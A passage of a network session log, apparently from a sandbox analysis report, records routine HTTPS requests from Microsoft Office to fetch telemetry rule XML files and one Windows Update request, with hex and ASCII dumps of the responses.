20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020903Z-178bfbc474b9fdhphC1NYCac0n00000000q000000000tv00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:04 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:05 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020905Z-1777c6cb7549j9hhhC1TEBzmcc0000000acg0000000097br x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020905Z-r1d97b99577hc74hhC1TEBvbns00000009m00000000082zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:05 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020905Z-1777c6cb7549x5qchC1TEBggbg0000000am00000000034wk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020905Z-178bfbc474bh5zbqhC1NYCkdug00000000n0000000015kyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:05 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020905Z-r1d97b99577hc74hhC1TEBvbns00000009p0000000003hs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:06 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:07 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:07 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020907Z-1777c6cb7549x5qchC1TEBggbg0000000ak000000000893z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:07 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:07 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:07 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020907Z-178bfbc474b7cbwqhC1NYC8z4n00000000ng00000000wddq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:07 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:07 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:07 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020907Z-178bfbc474bnwsh4hC1NYC2ubs00000000wg00000000h844 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:07 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:07 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:07 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 64a4ee2c-301e-0099-6775-3b6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020907Z-178bfbc474b9fdhphC1NYCac0n00000000rg00000000m7uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:07 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:07 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:07 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020907Z-178bfbc474bkvpdnhC1NYCuu2w00000000zg000000002f70 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49807	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:08 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5HFlVnLN8KF2Mzx&MD=cRFLAPcp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 02:09:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7229e8c8-dd0b-4fa7-b9df-830a713f9266 MS-RequestId: 13ab2b1a-4d2e-45d1-9065-e8cd4de4647f MS-CV: Ws9k73A4/0axHpju.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 02:09:09 GMT Connection: close Content-Length: 30005
